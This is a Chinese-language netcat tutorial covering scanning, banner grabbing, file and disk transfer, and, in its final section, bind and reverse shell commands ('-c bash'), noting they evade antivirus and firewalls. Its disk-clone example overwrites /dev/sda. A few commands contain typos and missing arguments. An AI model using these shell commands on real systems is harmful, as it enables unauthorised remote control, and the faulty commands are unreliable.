NETCAT使用介绍
NetCat是一个非常小巧但功能强大的的Unix工具,可以读、写TCP或UDP网络连接(network
connection)。它被设计成一个可靠的后端(back-end) 工具,能被其它的程序
程序或脚本直接地或容易地驱动。同时,它又是一个功能丰富的网络调试和开
发工具,因为它可以建立你可能用到的几乎任何类型的连接,以及一些非常有
意思的内建功能。NetCat,它的实际可运行的名字叫nc,应该早很就被提供,
就象另一个没有公开但是标准的Unix工具。
NetCat的常用功能
- 端口扫描
- telnet/banner
- 传输文本信息
- 传输文件目录
- 加密传输文件
- 远程控制/木马
- 流媒体服务器
- 远程克隆硬盘
NETCAT参数详解
连接: nc -参数 地址 端口
侦听:nc -l -p 端口 -参数
-c shell命令
-e 程序重定向,一旦连接,就执行 [危险!!]
-b 允许广播
-g 设置路由器跃程通信网关,最多可设置8个。
-G<指向器数目> 设置来源路由指向器,其数值为4的倍数。
-h 在线帮助。
-i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。
-l 使用监听模式,管控传入的资料。
-n 直接使用IP地址,而不通过域名服务器。
-o<输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。
-p<通信端口> 设置本地主机使用的通信端口。
-r 乱数指定本地与远端主机的通信端口。
-q<延迟秒数> 命令执行完成secs秒后断开连接
-s<来源位址> 设置本地主机送出数据包的IP地址。
-T<服务类型> 设置服务类型
-t
-u 使用UDP传输协议。
-v 显示指令执行过程。
-w<超时秒数> 设置等待连线的时间。
-z 使用0输入/输出模式,只在扫描通信端口时使用。
注意:nc在不同系统和版本中可使用的参数不一样。
端口扫描
端口扫描经常被系统管理员和黑客用来发现在一些机器上开放的端口,帮助他们识别系统中的漏洞。
参数详解可以看到扫描端口需要-z参数,示例如下,扫描192.168.234.2的全部端口
nc -nv -z 192.168.234.2 1-65535
可以看出netcat在扫描端口时,还是以客户端的身份去执行的。
需要注意的一点是,每一个扫描器的扫描结果并不一定准确,就像上面的扫描结果,可以肯定的是被扫描机80端口是开放的,但是却没有扫描出来。扫描过程可能会受到一些系统安全软件的干扰,比如防火墙,管家软件之类的。
telnet/banner
Telnet协议是TCP/IP协议族中的一员,是Internet远程登陆服务的标准协议和主要方式。可以用nc建立telnet连接,而且windows自带的远程登陆功能更加强大和可靠。
banner是登陆远程服务时,远程计算机返回的信息,我们称之为banner。当你试图鉴别漏洞或者服务的类型和版本的时候,Banner信息是非常有用的。但是,并不是所有的服务都会发送banner。
下面我们以登陆163邮箱的pop3服务为例,解释nc的用法,首先搜索pop3的相关信息
POP3命令码
Command | Description |
---|---|
USER [username] | 处理用户名 |
PASS [password] | 处理用户密码 |
APOP [Name,Digest] | 认可Digest是MD5消息摘要 |
STAT | 处理请求服务器发回关于邮箱的统计资料,如邮件总数和总字节数 |
UIDL [Msg#] | 处理返回邮件的唯一标识符,POP3会话的每个标识符都将是唯一的 |
LIST [Msg#] | 处理返回邮件数量和每个邮件的大小 |
RETR [Msg#] | 处理返回由参数标识的邮件的全部文本 |
DELE [Msg#] | 处理服务器将由参数标识的邮件标记为删除,由quit命令执行 |
RSET | 处理服务器将重置所有标记为删除的邮件,用于撤消DELE命令 |
TOP [Msg# n] | 处理服务器将返回由参数标识的邮件前n行内容,n必须是正整数 |
NOOP | 处理服务器返回一个肯定的响应 |
QUIT | 终止会话 |
通过ping命令知道pop3.163.com的ip地址为220.181.12.101,pop3的默认服务端口为110,所以命令为
nc -nv 220.181.12.101 110
登陆邮箱
根据上面的pop3命令码,我们可以尝试登陆163邮箱,这里密码就不暴露了
传输文本信息
传输文本消息可以用来做聊天工具,在远程电子取证方面也有一定的作用。
我们需要两台linux虚拟机,一台机子侦听某一端口,另一台连接这个端口,并发送消息。
首先在机子A上侦听某一端口,比如444端口,命令如下
nc -l -p 444
在机子B上连接机子A的444端口,命令如下
nc -nv 192.168.234.131 444
两台机子都是kali系统的虚拟机,都在同一网段内,
机子A的地址为192.168.234.131,机子B的地址为192.168.234.130。
连接成功后,在一台机子上输入的任何文本信息都会显示在另一台机子上。
另外,我们可以把某条命令的输出信息,通过这个连接发送给对方
首先还是在机子A上侦听某一端口(我们还是一444端口为例),然后再机子B在连接时使用一个管道命令,请先看命令示例:
ifconfig | nc -nv 192.168.234.131 444
上面示例中有两个命令,ifconfig和nc,中间有个 | 管道命令,这个管道的作用就是把前一个命令的输出作为后一个命令的输入。
这一功能在远程电子取证中有重要应用,电子取证的一个关键点就是不能对计算机的硬盘有任何的改写,这样会改写硬盘扇区的数据,导致一些被删除的数据无法恢复,这种远程保存的方式十分便捷。
再来看看下面的两种用法
nc -l -p 444 > p.txt
这条命令把在444端口侦听到的信息保存p.txt文件中,p.txt所在路径由终端的工作目录决定。
ifconfig | nc -nv 192.168.234.131 444 -q 1
这条命令后面多了个 q参数,根据上面的参数详解可知,在命令完成的1s后自动断开连接。
传输文件/目录
还是两台在局域网的虚拟机。
机子A的地址为192.168.234.131,机子B的地址为192.168.234.130
现在要把A.zip的文件传输过去
nc -l -p 444 > B.zip //机子A侦听444端口,并把接收到的数据保存为B.zip
nc -nv 192.168.234.131 444 < A.zip //机子B连接A的444端口,并传输A.zip文件,可以在该命令的后面加上参数 -q 1 好确定文件已经传输完毕
netcat建立的连接还可以进行反向连接,反向连接的思路是很重要的
nc -l -p 端口 -参数 是用来侦听端口的,但是同样也可以来发送文件,这就是反向连接,请看示例。
nc -l -p 444 < B.zip -q 1 //机子A 往444端口“灌”数据 ,一旦有别的机子连接该端口,就会接受到A发送的数据,传输完毕1s后断开连接
nc -nv 192.168.234.131 > A.zip //机子B把连接A的444端口接收到的数据写进A.zip文件中
加密传输文件
和上面传输文件夹的思路一样,加密传输文件,就是加密–传输–解密的过程了
这里我们是用mcrypt命令加密,kali系统默认没有装mcrypt,所以要先使用apt-get安装mcrypt
接收端A:
nc -l -p 444 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > B.zip //nc吧接收到的数据传给mcrypt进行解密,并保存为B.zip
发送端B:
mcrypt --flush -Fbq -a rijndael-256 -m ecb < A.zip | nc -nv 192.168.234.131 444 -q 1 //mcrypt先对A.zip进行解密,再传给nc发送出去。
简单解释下mcrypt命令,详细的请自行搜索:
–flush意思为加解密完成后,会销毁加密密钥,不会在本地保存。
-Fbq 加密 -Fbqd 解密。
rijndael-256 为加密算法。
ecb为加密方法。
命令回车后会要求输入加密密钥,解压时也需要输入加密密钥。
流媒体服务器
A作为服务器端
cat A.mp4 | nc -l -p 444 //将视频文件用cat命令打开,再倒灌进444端口
B作为接收端
nc -nv 192.168.234.131 444 | mplayer -vo x11 -cache 3000 - //将接收到的数据采用传给mplayer播放器
kali系统默认没有安装mplayer,可以自行选择其他播放器,但必须是支持命令行的,-cache 3000为缓存大小。
远程克隆硬盘
远程克隆硬盘,在电子取证中有重要的作用。
先来说下,克隆硬盘(块级别)和把硬盘的所有文件复制(文件级别)出来的区别:当我们删除文件的时候,这个文件的数据并没有在硬盘上被抹除,而只是被操作系统标记为已删除(当需要存储新数据的时候,操作系统可能会让新的数据覆盖已删除文件数据所在的扇区)。所以直接复制硬盘的文件并不会把已删除的文件复制出来,但克隆硬盘就可以实现。
块级别的复制可以使用dd命令,示例如下:
发送端:
dd if=/dev/sda | nc -nv 192.168.234.131 444 -q 1
接收端:
nc -l -p 444 | dd of=/dev/sda
远程控制/木马
netcat同样可以将一台机子的bashshell通过连接传输给别的机子,这样就实现了远程控制,netcat作为远程控制工具的话是非常理想的,几乎所有的杀毒软件不会报警。
这里会使用-c参数,示例如下:
被控制端:
nc -l -p 444 -c bash //侦听444端口,一旦有连接建立,就将本机的bashshell发送给对方
控制端:
nc -nv 192.168.1.131 444 //连接被控制端的444端口,获得被控制端的shell
这是一个正向的控制连接,但是一些情况下,反向的连接更容易建立,比如被控制端为IDC里的服务器,一般在IDC机房里的服务器有专业的防火墙,他会阻止一切奇怪端口上的连接,还会阻止从外网发出的建立连接的请求。所以此时使用反向连接,让被控制端主动连接控制端,这样更容易绕过防火墙的阻拦。示例如下
被控制端:
nc -nv 192.168.1.130 444 -c bash //连接控制端的444端口,传输本机的shell
控制端:
nv -l -p 444 //侦听444端口
注意:windows用户把bash改为cmd